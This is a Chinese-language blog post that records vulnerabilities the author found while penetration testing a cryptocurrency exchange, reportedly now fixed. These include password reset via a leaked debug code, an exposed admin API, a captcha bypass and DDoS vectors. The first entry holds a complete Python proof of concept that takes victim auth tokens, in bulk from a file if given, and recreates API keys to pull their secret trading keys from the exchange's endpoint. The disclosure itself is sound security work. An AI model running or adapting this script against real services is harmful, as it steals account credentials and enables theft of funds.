交易所渗透测试安全漏洞记录
Mour记录一下前一段时间内,发现的交易所的一些漏洞问题(链上安全无关)。
高危一: 获取交易key私钥
POC文件运行截图:

SecertKey是通过api交易的唯一key,设计原则是该私钥只显示一次,但是由于逻辑问题。导致可以创建重名key,从而得到该key的私钥。于是可以通过获取到的token列取所有的SecertKey,然后重建进行获取。

ojbk,漏洞已修复。就拿旧图放这看看吧

下面是POC代码。
import requests
import json
import click
import os
def parserToken(token):
url = "https://api-bt.btcc.com/api/v1/settings/api_key/"
labels = []
secret_keys = []
headers = {
'Host': "api-bt.btcc.com",
'Connection': "keep-alive",
'Accept': "application/json",
'Origin': "https://www.btcc.com",
'Authorization': "Token {}".format(token),
'x-auth-device': "dW5kZWZpbmVkQEBDaHJvbWUgNjdAQDUzYmMwMzVjZDc4YTIyNTkyZTRmNGY0OGQxNDljYTdhQEB1bmRlZmluZWQ=",
'User-Agent': "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36",
'Referer': "https://www.btcc.com/user-setting/api-key",
'Accept-Encoding': "gzip, deflate, br",
'Accept-Language': "en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7",
'Cache-Control': "no-cache"
# 'Postman-Token': "277489dd-6a6a-491a-99f4-9b49ab4f3f17"
}
response = requests.request("GET", url, headers=headers)
data = json.loads(response.text).get('data')
if data:
for item in data:
labels.append(item['label'])
for item in labels:
payload = {"label":item, "permission":"01"}
response = requests.request("POST", url, data=payload, headers=headers)
with open(token,'a') as f:
f.write(response.text+"\n")
click.echo(click.style('[√]:',fg='green')+"Good, We Got Secret Keys:\t" + json.loads(response.text)['data']['secret_key'])
if not os.path.isfile(token):
click.echo(click.style('[×]',fg='red') + "NO Secret Key Belongs To This Token")
@click.command()
@click.option('--token', help="Please Setting Your Token ")
@click.option('--tokenfile', help="Please Setting Your Token File ")
def secretkeyPOC(token=None, tokenfile=None):
# if not token and not tokenfile:
if token and tokenfile:
click.echo(click.style('[!]: ',fg='red') + "Your Can Setting Only One Option ")
elif token:
parserToken(token)
elif tokenfile:
click.echo(click.style("[!]: ", fg='yellow') + "Please Follow This Format Put Your Token")
click.echo("\t xxxxxxxxxxxxxxxxxxxxxx")
click.echo("\t yyyyyyyyyyyyyyyyyyyyyy")
tokens = []
with open(tokenfile) as f:
for _ in f.readlines():
_token = _.strip('\n')
tokens.append(_token)
for _ in set(tokens):
click.echo(click.style('[*]: ',fg='green') + "Now we capture token {}".format(_))
parserToken(_)
else:
click.echo(click.style('[!]: ',fg='red') + "Please Setting Your Token Or Your Token File")
def main():
secretkeyPOC()
if __name__ == '__main__':
main()
高危二: 任意密码重置
邮箱验证码调试未删除,显示在浏览器,导致可重置任意用户密码。
高危三: closeorder的无限制请求可造成DDOS
这一项属于编程的bug所在,前后端未对接好。导致在非交易页面,也一直向服务器不停的请求closeorder, 用户大量在线,或者垃圾账号在线。即可引起。
高危四: admin-api暴露在公网
运维操作失误,遗忘之后。把admin-api暴露在官网,这只是个审核平台的api,普通用户的提现申请,经由该平台审核通过即进行充提。但是一个极其简陋的平台。Django API列表暴露在外可操作可查询。截图就不放了。
中危一: 登录验证绕过
网易验证码对接问题,导致可直接绕过验证码登录。并获取token。也因此引起的一波垃圾注册问题。以及后续做限速等等。
中危二: websocket帧大小未限制
websocket的每桢内容的大小需要限制,否则可以通过发送超大文件来对服务器进行DDOS攻击。
低危一: 银行卡地址栏XSS
自XSS似乎没有什么用
低危二: 邀请用户信息泄露
按照设计来讲是不允许知道邀请账号的邮箱,避免引起其他问题。程序设计问题。

低危三: Sentry无限打日志
本来呢,不打算放在这里了,但是后来看到HackOne的Tg订阅推送了一篇文章,说把Sentry的无限打日志作为一个漏洞之类的,就重新放在这里了。
其他
白帽子: 点击劫持
国外白帽报过来的点击劫持
知道创宇: 第三方客服服务的平级越权
kf5的session遍历得到的结果是不同公司的companyid配合ip。非要说是高危,但是并没有什么意义。
圳链: 外包给白帽汇进行的渗透测试
给的测试环境去渗透的,报告里提到的一些漏洞意义不大。平平。一共发现了三个,逻辑漏洞没测出来。在测试环境只发现了api未限速和debug信息泄露仿佛有点不尽如人意。
最后
就上述的漏洞得到了0.01BTC奖励,当时大概价值500元(我的劳动成果真是廉价啊)。后来把这0.01BTC兑换成ETH,后又兑换成LTC,最高时值100$了,然后以1.26LTC提出时,LTC后降价至59$....